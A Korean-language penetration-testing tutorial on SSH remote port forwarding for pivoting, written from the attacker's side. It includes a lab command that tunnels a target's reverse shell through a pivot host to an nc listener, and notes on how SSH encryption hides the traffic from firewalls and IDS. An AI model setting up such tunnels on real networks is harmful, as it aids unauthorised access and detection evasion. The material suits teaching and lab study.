피버팅과터널링_07_SSH 리모트 포트 포워딩
1. 개요
SSH 리모트 포트 포워딩(Remote Port Forwarding)은 SSH 클라이언트(공격자)가 SSH 서버(피벗 호스트)에 연결을 맺은 후, 피벗 호스트의 특정 포트(Remote Port)를 리스닝(Listening) 상태로 만들고, 해당 포트로 들어오는 트래픽을 SSH 터널을 통해 공격자 측의 지정된 호스트와 포트(Local)로 전달하는 기법이다.
이 방식은 주로 내부망에서 외부로의 연결(Outbound)만 허용되고, 외부에서 내부로의 연결(Inbound)이 차단된 환경에서, 내부의 피벗 호스트가 외부의 공격자에게 역으로 터널을 뚫어 연결을 제공해야 할 때 사용된다.
2. 기술적 원리와 메커니즘
리모트 포트 포워딩은 일반적인 "접속"의 방향과 "데이터 전달"의 방향이 역전된 형태를 띤다.
2.1 연결 수립 및 데이터 흐름
ssh -R [BindPort]:[TargetHost]:[TargetPort] [User]@[RemoteHost] 명령을 실행하면 다음과 같은 과정이 수행된다.
- 터널 생성 (Tunnel Creation): 공격자(Client)가 피벗 호스트(Server)에 SSH 연결을 수립한다.
- 원격 바인딩 (Remote Bind): 피벗 호스트의
sshd데몬이[BindPort]를 바인딩하여 수신 대기(Listen)한다. - 트래픽 캡슐화 (Encapsulation): 피벗 호스트의
[BindPort]로 트래픽이 유입되면,sshd는 이를 SSH 프로토콜로 캡슐화하여 터널을 통해 공격자에게 전송한다. - 트래픽 전달 (Forwarding): 공격자 측의 SSH 클라이언트는 패킷을 복호화(Decapsulation)하고, 이를
[TargetHost]:[TargetPort]로 최종 전달한다.
2.2 주요 활용 시나리오
- 리버스 쉘(Reverse Shell) 연결: 피해 시스템(Target)이 피벗 호스트를 통해 공격자의 리스너(C2 서버 등)로 접속해야 할 때.
- 내부 서비스 외부 노출: 내부망에 존재하는 웹 서버나 RDP 등을 외부의 공격자가 직접 접근할 수 있도록 피벗 호스트의 포트와 매핑할 때.
3. 명령어 구문 및 사용 예시
3.1 기본 구문
ssh -N -R [RemoteBindIP]:[RemoteBindPort]:[DestHost]:[DestPort] [User]@[PivotHost]
-R: 리모트 포트 포워딩 옵션.-N: 쉘을 실행하지 않고 포트 포워딩만 수행 (보안 및 편의성 목적).[RemoteBindIP]: (선택 사항) 피벗 호스트에서 바인딩할 인터페이스 주소. 생략 시 기본적으로 루프백(127.0.0.1)에만 바인딩된다(GatewayPorts설정에 따름).
3.2 실습 예시: 리버스 쉘 리스너터널링
공격자가 자신의 칼리 리눅스(10.8.0.2)의 1234 포트에서 넷캣(nc)으로 리버스 쉘을 기다리고 있고, 피벗 호스트(10.1.20.10)를 경유하여 내부망의 타겟이 접속하도록 설정하는 시나리오이다.
명령어 실행 (공격자 측):
# 피벗 호스트(10.1.20.10)의 4444 포트를 리스닝하고,
# 들어오는 트래픽을 공격자(10.8.0.2)의 1234 포트로 전달
ssh -N -R 4444:10.8.0.2:1234 [email protected]
네트워크 흐름:
- 피벗 호스트(
10.1.20.10)의 TCP4444포트가 열린다. - 타겟 시스템은
10.1.20.10:4444로 접속을 시도한다. - 트래픽은 SSH 터널을 타고
10.8.0.2:1234로 전달된다. - 공격자의
nc리스너와 연결이 성립된다.
4. 보안 및 OpsSec 고려사항
4.1 GatewayPorts 설정
기본적으로 SSH의 리모트 포트 포워딩은 보안상의 이유로 피벗 호스트의 루프백 인터페이스(127.0.0.1)에만 바인딩된다. 즉, 피벗 호스트 자신 외에는 해당 포트에 접근할 수 없다. 외부 인터페이스(예: 0.0.0.0)에 바인딩하여 다른 내부 호스트들이 접근하게 하려면, 피벗 호스트의 /etc/ssh/sshd_config 파일에서 GatewayPorts yes 또는 GatewayPorts clientspecified 설정이 활성화되어 있어야 한다.
OpsSec Warning:
GatewayPorts yes설정은 피벗 호스트를 통해 내부망의 누구라도 터널을 탈 수 있게 하므로, 불필요한 접근 통제에 유의해야 한다.
4.2 트래픽 분석 회피
리모트 포트 포워딩 트래픽 역시 SSH 암호화 터널 내부에서 이동하므로, 네트워크 경계의 방화벽이나 IDS에서는 SSH 프로토콜(TCP 22) 트래픽으로만 보인다. 그러나 트래픽 패턴 분석(Traffic Analysis)을 통해 지속적인 대용량 데이터 전송이나 비정상적인 세션 유지 시간이 탐지될 수 있음을 인지해야 한다.